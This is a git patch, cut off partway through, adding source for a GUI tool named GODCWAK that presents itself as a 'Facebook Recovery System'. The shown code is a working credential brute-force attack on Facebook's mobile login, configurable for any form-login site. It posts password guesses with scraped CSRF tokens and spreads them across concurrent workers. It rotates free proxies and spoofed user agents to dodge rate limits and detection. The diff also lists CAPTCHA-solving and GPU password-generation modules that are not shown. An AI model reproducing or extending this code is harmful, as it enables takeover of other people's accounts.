From c958a06b962ff073a5ceedebc2c206b072f6bbbe Mon Sep 17 00:00:00 2001 From: Dr Jones Date: Fri, 22 May 2026 12:47:24 -0700 Subject: [PATCH] Add full application source --- .gitignore | 20 + GODCWAK.bat | 49 ++ config.py | 85 ++++ config_ollama.json | 14 + main.py | 94 ++++ requirements.txt | 20 + src/__init__.py | 0 src/attack/__init__.py | 0 src/attack/facebook_client.py | 7 + src/attack/login_client.py | 229 +++++++++ src/attack/orchestrator.py | 328 +++++++++++++ src/attack/user_agents.py | 69 +++ src/captcha/__init__.py | 8 + src/captcha/browser_controller.py | 133 +++++ src/captcha/captcha_solver.py | 306 ++++++++++++ src/captcha/coord_mapper.py | 271 +++++++++++ src/captcha/ollama_client.py | 269 +++++++++++ src/captcha/screenshotter.py | 221 +++++++++ src/engine/__init__.py | 0 src/engine/combinatorics.py | 125 +++++ src/engine/gpu_accelerator.py | 270 +++++++++++ src/engine/password_generator.py | 310 ++++++++++++ src/gui/__init__.py | 0 src/gui/app.py | 252 ++++++++++ src/gui/attack_tab.py | 490 +++++++++++++++++++ src/gui/logs_tab.py | 221 +++++++++ src/gui/password_builder_tab.py | 657 +++++++++++++++++++++++++ src/gui/proxy_manager_tab.py | 489 +++++++++++++++++++ src/gui/setup_tab.py | 772 ++++++++++++++++++++++++++++++ src/gui/theme.py | 265 ++++++++++ src/proxy/__init__.py | 0 src/proxy/fetcher.py | 137 ++++++ src/proxy/pool.py | 221 +++++++++ src/proxy/validator.py | 135 ++++++ src/utils/__init__.py | 0 src/utils/file_io.py | 59 +++ src/utils/logger.py | 116 +++++ 37 files changed, 6642 insertions(+) create mode 100644 .gitignore create mode 100644 GODCWAK.bat create mode 100644 config.py create mode 100644 config_ollama.json create mode 100644 main.py create mode 100644 requirements.txt create mode 100644 src/__init__.py create mode 100644 src/attack/__init__.py create mode 100644 src/attack/facebook_client.py create mode 100644 src/attack/login_client.py create mode 100644 src/attack/orchestrator.py create mode 100644 src/attack/user_agents.py create mode 100644 src/captcha/__init__.py create mode 100644 src/captcha/browser_controller.py create mode 100644 src/captcha/captcha_solver.py create mode 100644 src/captcha/coord_mapper.py create mode 100644 src/captcha/ollama_client.py create mode 100644 src/captcha/screenshotter.py create mode 100644 src/engine/__init__.py create mode 100644 src/engine/combinatorics.py create mode 100644 src/engine/gpu_accelerator.py create mode 100644 src/engine/password_generator.py create mode 100644 src/gui/__init__.py create mode 100644 src/gui/app.py create mode 100644 src/gui/attack_tab.py create mode 100644 src/gui/logs_tab.py create mode 100644 src/gui/password_builder_tab.py create mode 100644 src/gui/proxy_manager_tab.py create mode 100644 src/gui/setup_tab.py create mode 100644 src/gui/theme.py create mode 100644 src/proxy/__init__.py create mode 100644 src/proxy/fetcher.py create mode 100644 src/proxy/pool.py create mode 100644 src/proxy/validator.py create mode 100644 src/utils/__init__.py create mode 100644 src/utils/file_io.py create mode 100644 src/utils/logger.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..40791ab --- /dev/null +++ b/.gitignore @@ -0,0 +1,20 @@ +__pycache__/ +*.py[cod] +*$py.class + +.venv/ +venv/ +env/ + +data/ +*.log +attempt_log.csv +passwords.txt +proxies.txt +valid_proxies.txt + +.env +*.env + +Screenshot *.png +*.tmp diff --git a/GODCWAK.bat b/GODCWAK.bat new file mode 100644 index 0000000..4d0dffc --- /dev/null +++ b/GODCWAK.bat @@ -0,0 +1,49 @@ +@echo off +title GODCWAK Launcher +color 0A + +echo. +echo ========================================= +echo GODCWAK v1.0 - Starting... +echo ========================================= +echo. + +:: Change to the folder this .bat lives in so relative imports work +cd /d "%~dp0" + +:: Prefer the project virtual environment, then the Python launcher, then PATH. +set PYTHON_EXE= +set PYTHON_ARGS= +if exist "%~dp0.venv\Scripts\python.exe" ( + set "PYTHON_EXE=%~dp0.venv\Scripts\python.exe" +) else ( + py -3 --version >nul 2>&1 + if %ERRORLEVEL% EQU 0 ( + set "PYTHON_EXE=py" + set "PYTHON_ARGS=-3" + ) else ( + python --version >nul 2>&1 + if %ERRORLEVEL% EQU 0 ( + set "PYTHON_EXE=python" + ) + ) +) + +if "%PYTHON_EXE%"=="" ( + echo [ERROR] Python 3 not found. Install Python or create .venv first. + echo. + pause + exit /b 1 +) + +:: Launch +"%PYTHON_EXE%" %PYTHON_ARGS% main.py + +:: If Python exited with an error, pause so the user can read it +if %ERRORLEVEL% NEQ 0 ( + echo. + echo [!] GODCWAK exited with error code %ERRORLEVEL% + echo Check the output above for details. + echo. + pause +) diff --git a/config.py b/config.py new file mode 100644 index 0000000..cc3f1e4 --- /dev/null +++ b/config.py @@ -0,0 +1,85 @@ +""" +Configuration and constants for the Facebook Recovery System. +""" +import os +from pathlib import Path + +# Paths +BASE_DIR = Path(__file__).parent +DATA_DIR = BASE_DIR / "data" +ASSETS_DIR = BASE_DIR / "assets" + +# Ensure data directory exists +DATA_DIR.mkdir(exist_ok=True) + +# Proxy source settings (free public sources — no API key needed) +PROXIFLY_API_KEY = "" +PROXIFLY_API_URL = "" +PROXIFLY_FALLBACK_URL = "" + +# Facebook +FACEBOOK_LOGIN_URL = "https://m.facebook.com/login.php" +FACEBOOK_BASE_URL = "https://m.facebook.com" + +# Proxy Settings +MAX_PROXIES = 2000 +PROXY_TEST_TIMEOUT = 10 # seconds +PROXY_TEST_URL = "http://httpbin.org/ip" +PROXY_REFRESH_INTERVAL = 300 # seconds (5 min) + +# Attack Settings +DEFAULT_DELAY_MIN = 0.5 # seconds +DEFAULT_DELAY_MAX = 2.0 # seconds +MAX_CONCURRENT_WORKERS = 3 # parallel attack threads +PROXY_ROTATION_EVERY = 1 # rotate proxy every N attempts (1 = each attempt) +REQUEST_TIMEOUT = 20 # seconds per HTTP request + +# Proxy Testing +PROXY_TEST_CONCURRENCY = 100 # concurrent proxy health-check connections + +# Password Generation +DEFAULT_MIN_LENGTH = 6 +DEFAULT_MAX_LENGTH = 32 +GPU_THRESHOLD = 50_000 # use GPU when combinations exceed this + +# File Paths +PASSWORDS_FILE = DATA_DIR / "passwords.txt" +PROXIES_FILE = DATA_DIR / "proxies.txt" +VALID_PROXIES_FILE = DATA_DIR / "valid_proxies.txt" +ATTEMPT_LOG_FILE = DATA_DIR / "attempt_log.csv" +OLLAMA_CONFIG_FILE = BASE_DIR / "config_ollama.json" + +DEFAULT_OLLAMA_CONFIG = { + "ollama_host": "http://localhost:11434", + "model": "", + "timeout": 60, + "temperature": 0.1, + "top_p": 0.9, + "max_tokens": 512, + "prompt_template": "", + "browser_engine": "Playwright", + "headless": False, + "viewport": "1280x720", + "mouse_delay_ms": 50, + "retry_limit": 3, +} + +# GUI Theme Colors +THEME = { + "bg_dark": "#0a0a0f", + "bg_medium": "#12121a", + "bg_light": "#1a1a2e", + "primary": "#00f0ff", + "secondary": "#ff00aa", + "tertiary": "#7700ff", + "text_primary": "#e0e0ff", + "text_secondary": "#8888aa", + "text_dim": "#555577", + "success": "#00ff88", + "warning": "#ffaa00", + "error": "#ff3355", + "border": "#2a2a4a", + "glow_cyan": "#00f0ff33", + "glow_pink": "#ff00aa33", + "glow_purple": "#7700ff33", +} diff --git a/config_ollama.json b/config_ollama.json new file mode 100644 index 0000000..4da9b44 --- /dev/null +++ b/config_ollama.json @@ -0,0 +1,14 @@ +{ + "ollama_host": "http://localhost:11434", + "model": "", + "timeout": 60, + "temperature": 0.1, + "top_p": 0.9, + "max_tokens": 512, + "prompt_template": "", + "browser_engine": "Playwright", + "headless": false, + "viewport": "1280x720", + "mouse_delay_ms": 50, + "retry_limit": 3 +} \ No newline at end of file diff --git a/main.py b/main.py new file mode 100644 index 0000000..443e263 --- /dev/null +++ b/main.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python3 +""" +Facebook Recovery System v1.0 +GPU-accelerated password recovery tool with proxy rotation. + +Usage: + python main.py + +Requirements: + pip install -r requirements.txt +""" +import logging +import sys +import os + +# Add project root to path +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +# Configure logging +logging.basicConfig( + level=logging.INFO, + format="[%(asctime)s] %(levelname)s: %(message)s", + datefmt="%H:%M:%S", +) + +logger = logging.getLogger(__name__) + + +def check_dependencies(): + """Check that critical dependencies are available.""" + missing = [] + + try: + import customtkinter + except ImportError: + missing.append("customtkinter") + + try: + import requests + except ImportError: + missing.append("requests") + + try: + import numpy + except ImportError: + missing.append("numpy") + + # GPU libraries are optional + try: + import cupy + logger.info("✅ CuPy detected — GPU acceleration available") + except ImportError: + logger.warning("⚠️ CuPy not installed — GPU acceleration disabled") + logger.warning(" Install with: pip install cupy-cuda12x") + + try: + import numba + logger.info("✅ Numba detected") + except ImportError: + logger.warning("⚠️ Numba not installed — some optimizations disabled") + + if missing: + logger.error(f"Missing required dependencies: {', '.join(missing)}") + logger.error("Install with: pip install -r requirements.txt") + return False + + return True + + +def main(): + """Application entry point.""" + logger.info("=" * 60) + logger.info(" GODCWAK v1.0") + logger.info("=" * 60) + + if not check_dependencies(): + input("\nPress Enter to exit...") + sys.exit(1) + + try: + from src.gui.app import FacebookRecoveryApp + + app = FacebookRecoveryApp() + logger.info("Application started successfully") + app.mainloop() + + except Exception as e: + logger.error(f"Fatal error: {e}", exc_info=True) + input("\nPress Enter to exit...") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..58f273f --- /dev/null +++ b/requirements.txt @@ -0,0 +1,20 @@ +# Core GUI +customtkinter>=5.2.0 +Pillow>=10.0.0 + +# GPU Acceleration +cupy-cuda12x>=13.0.0 +numba>=0.59.0 + +# Networking +requests[socks]>=2.31.0 +aiohttp>=3.9.0 +aiohttp-socks>=0.8.0 + +# Data Processing +numpy>=1.26.0 +pandas>=2.1.0 + +# Utilities +colorama>=0.4.6 +python-dotenv>=1.0.0 diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/attack/__init__.py b/src/attack/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/attack/facebook_client.py b/src/attack/facebook_client.py new file mode 100644 index 0000000..c2cba61 --- /dev/null +++ b/src/attack/facebook_client.py @@ -0,0 +1,7 @@ +""" +Backward-compatibility shim — the generic LoginClient replaces FacebookClient. +Any code that imports FacebookClient or LoginResult from here still works. +""" +from src.attack.login_client import LoginClient as FacebookClient, LoginResult, SiteConfig # noqa: F401 + +__all__ = ["FacebookClient", "LoginResult", "SiteConfig"] diff --git a/src/attack/login_client.py b/src/attack/login_client.py new file mode 100644 index 0000000..3d340a4 --- /dev/null +++ b/src/attack/login_client.py @@ -0,0 +1,229 @@ +""" +Generic login client — submits credential pairs to any HTML form-based login URL. +Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other sites. +""" +import logging +import re +import time +from dataclasses import dataclass, field +from typing import Dict, List, Optional +from urllib.parse import urlparse, urljoin + +import requests +from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua + +logger = logging.getLogger(__name__) + + +@dataclass +class SiteConfig: + """Per-site configuration for the generic login client.""" + login_url: str = "https://m.facebook.com/login.php" + base_url: str = "https://m.facebook.com" + + # HTML form field names + username_field: str = "email" + password_field: str = "pass" + + # Extra static POST fields (e.g. Facebook's login_source) + extra_fields: Dict[str, str] = field(default_factory=lambda: { + "login_source": "comet_headerless", + "login": "Log In", + }) + + # Token scraping (CSRF) + csrf_field: str = "lsd" # empty string to disable + csrf_patterns: List[str] = field(default_factory=lambda: [ + r'name="lsd"[^>]*value="([^"]+)"', + r'"lsd"[^}]*?"([^"]+)"', + ]) + + # Success / failure detection in response body or URL + success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"]) + success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"]) + failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"]) + captcha_indicators: List[str] = field(default_factory=lambda: [ + "captcha", "security check", "confirm your identity", + "unusual activity", "verify", "prove you", + ]) + rate_limit_indicators: List[str] = field(default_factory=lambda: [ + "too many", "try again later", "rate limit", + ]) + wrong_pass_indicators: List[str] = field(default_factory=lambda: [ + "incorrect", "wrong password", "invalid", "didn't match", + "password you entered", "not match", + ]) + + @classmethod + def for_url(cls, url: str) -> "SiteConfig": + """Build a minimal config for an arbitrary URL (generic form POST).""" + parsed = urlparse(url) + base = f"{parsed.scheme}://{parsed.netloc}" + return cls( + login_url=url, + base_url=base, + extra_fields={}, + csrf_field="", + success_cookies=[], + success_url_fragments=[], + failure_url_fragments=["login", "signin", "auth"], + ) + + +@dataclass +class LoginResult: + success: bool + status_code: int + response_time_ms: float + message: str + captcha_detected: bool = False + cookies: Optional[Dict] = None + redirect_url: Optional[str] = None + + +class LoginClient: + """ + Generic HTML-form login client. + Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response. + """ + + def __init__( + self, + site_config: Optional[SiteConfig] = None, + request_timeout: int = 20, + ): + self.site = site_config or SiteConfig() + self.request_timeout = request_timeout + self.session = requests.Session() + self.session.headers.update({ + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + }) + + def reconfigure(self, site_config: SiteConfig): + self.site = site_config + self.session.cookies.clear() + + # ── CSRF helper ─────────────────────────────────────────────────────────── + + def _get_csrf_token(self, proxies: Dict) -> str: + if not self.site.csrf_field: + return "" + try: + ua = get_random_mobile_ua() + resp = self.session.get( + self.site.login_url, + proxies=proxies, + headers={"User-Agent": ua}, + timeout=self.request_timeout, + ) + for pattern in self.site.csrf_patterns: + m = re.search(pattern, resp.text) + if m: + return m.group(1) + except Exception as e: + logger.debug(f"CSRF token fetch failed: {e}") + return "" + + # ── Core attempt ───────────────────────────────────────────────────────── + + def attempt_login( + self, + username: str, + password: str, + proxy_string: Optional[str] = None, + ) -> LoginResult: + start = time.time() + proxies = self._build_proxies(proxy_string) + ua = get_random_facebook_ua() + + try: + csrf = self._get_csrf_token(proxies) + + payload: Dict[str, str] = { + self.site.username_field: username, + self.site.password_field: password, + } + if self.site.csrf_field and csrf: + payload[self.site.csrf_field] = csrf + payload.update(self.site.extra_fields) + + headers = { + "User-Agent": ua, + "Origin": self.site.base_url, + "Referer": self.site.login_url, + "Content-Type": "application/x-www-form-urlencoded", + "Cache-Control": "max-age=0", + } + + resp = self.session.post( + self.site.login_url, + data=payload, + proxies=proxies, + headers=headers, + timeout=self.request_timeout, + allow_redirects=True, + ) + elapsed = (time.time() - start) * 1000 + return self._analyse(resp, password, elapsed) + + except requests.ConnectTimeout: + return LoginResult(False, 0, _ms(start), "Connection timeout") + except requests.ProxyError as e: + return LoginResult(False, 0, _ms(start), f"Proxy error: {str(e)[:80]}") + except requests.ConnectionError as e: + return LoginResult(False, 0, _ms(start), f"Connection error: {str(e)[:80]}") + except Exception as e: + return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}") + + def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult: + url = resp.url.lower() + text = resp.text.lower() + code = resp.status_code + + # ── Captcha check first ─────────────────────────────────────────── + if any(kw in text for kw in self.site.captcha_indicators): + return LoginResult(False, code, round(elapsed, 1), + "CAPTCHA detected", captcha_detected=True) + + # ── Cookie-based success ────────────────────────────────────────── + for cookie in self.site.success_cookies: + if cookie in resp.cookies: + logger.info(f"SUCCESS via cookie '{cookie}': {password}") + return LoginResult(True, code, round(elapsed, 1), + "Login successful!", + cookies=dict(resp.cookies), + redirect_url=resp.url) + + # ── URL-redirect success ────────────────────────────────────────── + failed_frag = any(f in url for f in self.site.failure_url_fragments) + if not failed_frag and code == 200: + if any(f in url for f in self.site.success_url_fragments): + logger.info(f"Possible SUCCESS via redirect to: {url}") + return LoginResult(True, code, round(elapsed, 1), + f"Redirected to: {url[:60]}", + cookies=dict(resp.cookies), + redirect_url=resp.url) + + # ── Rate-limit ──────────────────────────────────────────────────── + if any(kw in text for kw in self.site.rate_limit_indicators): + return LoginResult(False, code, round(elapsed, 1), "Rate limited") + + # ── Wrong password ──────────────────────────────────────────────── + if any(kw in text for kw in self.site.wrong_pass_indicators): + return LoginResult(False, code, round(elapsed, 1), "Incorrect password") + + return LoginResult(False, code, round(elapsed, 1), f"Failed (HTTP {code})") + + @staticmethod + def _build_proxies(proxy_string: Optional[str]) -> Dict: + if not proxy_string: + return {} + return {"http": proxy_string, "https": proxy_string} + + +def _ms(start: float) -> float: + return round((time.time() - start) * 1000, 1) diff --git a/src/attack/orchestrator.py b/src/attack/orchestrator.py new file mode 100644 index 0000000..9721977 --- /dev/null +++ b/src/attack/orchestrator.py @@ -0,0 +1,328 @@ +""" +Attack orchestrator — multi-worker concurrent credential attack through rotating proxies. +Uses the generic LoginClient so it works against any site (Facebook, custom URL, etc.). +Optionally calls CaptchaSolver when a CAPTCHA is detected in the response. +""" +import logging +import random +import threading +import time +from dataclasses import dataclass, field +from enum import Enum +from typing import Callable, List, Optional +from urllib.parse import urlparse + +from src.attack.login_client import LoginClient, LoginResult, SiteConfig +from src.proxy.pool import ProxyPool +from src.utils.logger import AttemptLogger +from config import ( + DEFAULT_DELAY_MIN, DEFAULT_DELAY_MAX, + MAX_CONCURRENT_WORKERS, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT, +) + +logger = logging.getLogger(__name__) + + +class AttackState(Enum): + IDLE = "idle" + RUNNING = "running" + PAUSED = "paused" + STOPPED = "stopped" + COMPLETED = "completed" + + +@dataclass +class AttackStats: + total_attempts: int = 0 + successful_attempts: int = 0 + failed_attempts: int = 0 + rate_limited: int = 0 + proxy_errors: int = 0 + captchas_hit: int = 0 + passwords_tried: int = 0 + proxies_used: int = 0 + start_time: float = 0 + elapsed_seconds: float = 0 + attempts_per_second: float = 0 + current_password: str = "" + current_proxy: str = "" + active_workers: int = 0 + + +class AttackOrchestrator: + """ + Multi-threaded credential attack coordinator. + Spawns N worker threads, each independently pulling passwords and proxies. + """ + + def __init__( + self, + proxy_pool: ProxyPool, + login_client: Optional[LoginClient] = None, + logger_instance: Optional[AttemptLogger] = None, + ): + self.proxy_pool = proxy_pool + self.login_client = login_client or LoginClient() + self.logger = logger_instance or AttemptLogger() + + # Keep the old attribute name so existing attack_tab.py references work + self.facebook_client = self.login_client + + self.state = AttackState.IDLE + self.stats = AttackStats() + self._lock = threading.Lock() + self._threads: List[threading.Thread] = [] + + # GUI callbacks (always invoked via self.after() in the tab) + self.on_stats_update: Optional[Callable] = None + self.on_log_entry: Optional[Callable] = None + self.on_success: Optional[Callable] = None + self.on_state_change: Optional[Callable] = None + self.on_captcha: Optional[Callable] = None # (proxy_str) → image_bytes or None + + # Runtime config + self.username: str = "" + self.passwords: List[str] = [] + self.site_config: Optional[SiteConfig] = None + self.delay_min: float = DEFAULT_DELAY_MIN + self.delay_max: float = DEFAULT_DELAY_MAX + self.max_workers: int = MAX_CONCURRENT_WORKERS + self.proxy_rotation_every: int = PROXY_ROTATION_EVERY + self.request_timeout: int = REQUEST_TIMEOUT + + self._password_index: int = 0 + self._workers_active: int = 0 + + # ── Public API ─────────────────────────────────────────────────────────── + + def configure( + self, + username: str, + passwords: List[str], + site_config: Optional[SiteConfig] = None, + ): + self.username = username + self.passwords = passwords + self.site_config = site_config + self._password_index = 0 + if site_config: + self.login_client.reconfigure(site_config) + self.login_client.request_timeout = self.request_timeout + + def start(self): + if self.state == AttackState.RUNNING: + return + if not self.username or not self.passwords: + logger.error("Username and passwords required") + return + + self.state = AttackState.RUNNING + self.stats = AttackStats() + self.stats.start_time = time.time() + self._password_index = 0 + self._workers_active = self.max_workers + + if self.on_state_change: + self.on_state_change(self.state) + + self._threads = [] + for i in range(self.max_workers): + t = threading.Thread( + target=self._run_worker, args=(i,), + daemon=True, name=f"Worker-{i}") + t.start() + self._threads.append(t) + + logger.info( + f"Attack started: {len(self.passwords)} passwords, " + f"{self.max_workers} workers, target={self.username}") + + def pause(self): + if self.state == AttackState.RUNNING: + self.state = AttackState.PAUSED + if self.on_state_change: + self.on_state_change(self.state) + + def resume(self): + if self.state == AttackState.PAUSED: + self.state = AttackState.RUNNING + if self.on_state_change: + self.on_state_change(self.state) + + def stop(self): + self.state = AttackState.STOPPED + if self.on_state_change: + self.on_state_change(self.state) + + # ── Worker loop ────────────────────────────────────────────────────────── + + def _run_worker(self, worker_id: int): + rotation_counter = 0 + current_proxy: Optional[str] = None + + try: + while self.state not in (AttackState.STOPPED, AttackState.COMPLETED): + if self.state == AttackState.PAUSED: + time.sleep(0.1) + continue + + password = self._get_next_password() + if password is None: + break + + rotation_counter += 1 + if current_proxy is None or rotation_counter >= self.proxy_rotation_every: + current_proxy = self.proxy_pool.get_proxy() + rotation_counter = 0 + + if current_proxy is None: + logger.warning(f"[W{worker_id}] No proxies — waiting 2s") + time.sleep(2) + with self._lock: + self._password_index -= 1 + continue + + with self._lock: + self.stats.current_password = password + self.stats.current_proxy = current_proxy + self.stats.active_workers = self._workers_active + + result: LoginResult = self.login_client.attempt_login( + username=self.username, + password=password, + proxy_string=current_proxy, + ) + + # ── Handle CAPTCHA ───────────────────────────────────── + if result.captcha_detected: + with self._lock: + self.stats.captchas_hit += 1 + logger.info(f"[W{worker_id}] CAPTCHA hit — notifying GUI") + if self.on_captcha: + self.on_captcha(current_proxy) + # Re-queue this password and rotate proxy + with self._lock: + self._password_index -= 1 + # CAPTCHA/rate-limit proxies are held out of immediate rotation. + current_proxy = None + time.sleep(random.uniform(2.0, 5.0)) + continue + + # ── Accumulate stats ─────────────────────────────────── + with self._lock: + self.stats.total_attempts += 1 + self.stats.passwords_tried = self._password_index + self.stats.proxies_used += 1 + self.stats.elapsed_seconds = time.time() - self.stats.start_time + self.stats.attempts_per_second = ( + self.stats.total_attempts / self.stats.elapsed_seconds + if self.stats.elapsed_seconds > 0 else 0 + ) + if result.success: + self.stats.successful_attempts += 1 + else: + self.stats.failed_attempts += 1 + if "rate limit" in result.message.lower(): + self.stats.rate_limited += 1 + if "proxy" in result.message.lower(): + self.stats.proxy_errors += 1 + + # ── Log attempt ──────────────────────────────────────── + parsed = urlparse(current_proxy) + self.logger.log_attempt( + password=password, + proxy_ip=parsed.hostname or current_proxy, + proxy_port=parsed.port or 0, + proxy_protocol=parsed.scheme or "http", + status_code=result.status_code, + result="SUCCESS" if result.success else "FAILED", + response_time_ms=result.response_time_ms, + message=result.message, + ) + + # ── GUI callbacks ────────────────────────────────────── + if self.on_stats_update: + self.on_stats_update(self.stats) + if self.on_log_entry: + self.on_log_entry({ + "password": password, + "proxy": current_proxy, + "result": "SUCCESS" if result.success else "FAILED", + "message": result.message, + "time_ms": result.response_time_ms, + }) + + if result.success: + logger.info(f"*** PASSWORD FOUND: {password} ***") + if self.on_success: + self.on_success(password, current_proxy, result) + self.state = AttackState.COMPLETED + if self.on_state_change: + self.on_state_change(self.state) + break + + if self._release_proxy_after_attempt(current_proxy, result): + current_proxy = None + + time.sleep(random.uniform(self.delay_min, self.delay_max)) + + except Exception as e: + logger.error(f"[W{worker_id}] Worker error: {e}", exc_info=True) + finally: + with self._lock: + self._workers_active -= 1 + if self._workers_active == 0 and self.state == AttackState.RUNNING: + self.state = AttackState.COMPLETED + if self.on_state_change: + self.on_state_change(self.state) + + def _get_next_password(self) -> Optional[str]: + with self._lock: + if self._password_index >= len(self.passwords): + return None + pwd = self.passwords[self._password_index] + self._password_index += 1 + return pwd + + def _release_proxy_after_attempt(self, proxy: Optional[str], result: LoginResult) -> bool: + """Recycle healthy one-shot proxies and drop clearly failing proxies.""" + if not proxy: + return False + + message = result.message.lower() + proxy_failed = any( + marker in message + for marker in ("proxy", "connection timeout", "connection error") + ) + if proxy_failed: + self.proxy_pool.mark_dead(proxy) + return True + + if "rate limit" in message: + return True + + if self.proxy_rotation_every <= 1: + self.proxy_pool.return_proxy(proxy) + return True + + return False + + # ── Properties ─────────────────────────────────────────────────────────── + + @property + def progress(self) -> float: + if not self.passwords: + return 0.0 + return (self._password_index / len(self.passwords)) * 100 + + @property + def is_running(self) -> bool: + return self.state == AttackState.RUNNING + + @property + def is_paused(self) -> bool: + return self.state == AttackState.PAUSED + + @property + def is_stopped(self) -> bool: + return self.state in (AttackState.STOPPED, AttackState.COMPLETED, AttackState.IDLE) diff --git a/src/attack/user_agents.py b/src/attack/user_agents.py new file mode 100644 index 0000000..67ce0b3 --- /dev/null +++ b/src/attack/user_agents.py @@ -0,0 +1,69 @@ +""" +User-Agent rotation pool — realistic mobile browser strings to avoid detection. +""" +import random + +MOBILE_USER_AGENTS = [ + # Chrome on Android + "Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 14; Samsung Galaxy S24 Ultra) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 13; OnePlus 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 13; Xiaomi 13 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 14; Google Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 12; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 13; motorola edge 30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36", + + # Samsung Internet + "Mozilla/5.0 (Linux; Android 14; SAMSUNG SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/120.0.6099.230 Mobile Safari/537.36", + "Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/119.0.6045.163 Mobile Safari/537.36", + + # Firefox on Android + "Mozilla/5.0 (Android 14; Mobile; rv:121.0) Gecko/121.0 Firefox/121.0", + "Mozilla/5.0 (Android 13; Mobile; rv:120.0) Gecko/120.0 Firefox/120.0", + "Mozilla/5.0 (Android 12; Mobile; rv:119.0) Gecko/119.0 Firefox/119.0", + + # iPhone Safari + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1", + "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", + + # Chrome on iPhone + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1", + + # Facebook in-app browser (Android) + "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.230 Mobile Safari/537.36 [FB_IAB/FB4A]", + "Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.163 Mobile Safari/537.36 [FB_IAB/FB4A]", + "Mozilla/5.0 (Linux; Android 14; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.230 Mobile Safari/537.36 [FB_IAB/FB4A]", + + # Facebook in-app browser (iPhone) + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/440.0.0.33.103;FBBV/567234567;FBDV/iPhone15,2;FBMD/iPhone;FBSN/iOS;FBSV/17.2;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/439.0.0.30.102;FBBV/564123456;FBDV/iPhone14,3;FBMD/iPhone;FBSN/iOS;FBSV/17.1;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]", +] + +DESKTOP_USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1; rv:121.0) Gecko/20100101 